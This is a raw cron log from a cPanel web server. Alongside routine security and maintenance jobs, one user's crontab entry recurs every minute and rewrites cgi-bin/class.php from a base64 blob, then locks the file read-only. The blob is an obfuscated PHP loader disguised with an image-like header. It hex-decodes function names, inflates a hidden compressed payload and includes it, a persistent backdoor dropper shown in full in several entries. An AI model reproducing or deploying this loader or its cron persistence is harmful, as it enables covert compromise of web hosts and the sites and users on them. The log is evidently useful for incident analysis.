Sep 10 05:57:01 server CROND[2200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:58:01 server CROND[2602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:58:01 server CROND[2603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 05:58:01 server CROND[2604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:59:02 server CROND[3096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:59:02 server CROND[3097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:59:02 server CROND[3098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:00:01 server CROND[3679]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:00:01 server CROND[3681]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 06:00:01 server CROND[3687]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:00:01 server CROND[3698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:00:01 server CROND[3700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:00:01 server CROND[3701]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 06:00:01 server CROND[3704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:00:01 server CROND[3702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:00:01 server CROND[3705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:00:01 server CROND[3703]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:00:01 server CROND[3697]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep 10 06:01:01 server CROND[4587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:01:01 server CROND[4588]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 06:01:01 server CROND[4590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:01:01 server CROND[4589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:01:01 server run-parts(/etc/cron.hourly)[4588]: starting 0anacron
Sep 10 06:01:01 server run-parts(/etc/cron.hourly)[4662]: finished 0anacron
Sep 10 06:02:01 server CROND[5042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:02:01 server CROND[5041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:02:01 server CROND[5043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:03:01 server CROND[5422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:03:01 server CROND[5423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:03:01 server CROND[5424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:04:01 server CROND[5806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:04:01 server CROND[5807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:04:01 server CROND[5808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:05:01 server CROND[6294]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:05:01 server CROND[6296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:05:01 server CROND[6301]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:05:01 server CROND[6317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:05:01 server CROND[6316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:05:01 server CROND[6318]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 06:05:01 server CROND[6314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:05:01 server CROND[6315]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:06:01 server CROND[7153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:06:01 server CROND[7154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:06:01 server CROND[7155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:07:01 server CROND[7528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:07:01 server CROND[7529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:07:01 server CROND[7530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:08:01 server CROND[7992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:08:01 server CROND[7991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:08:01 server CROND[7993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:09:01 server CROND[8377]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 06:09:01 server CROND[8378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
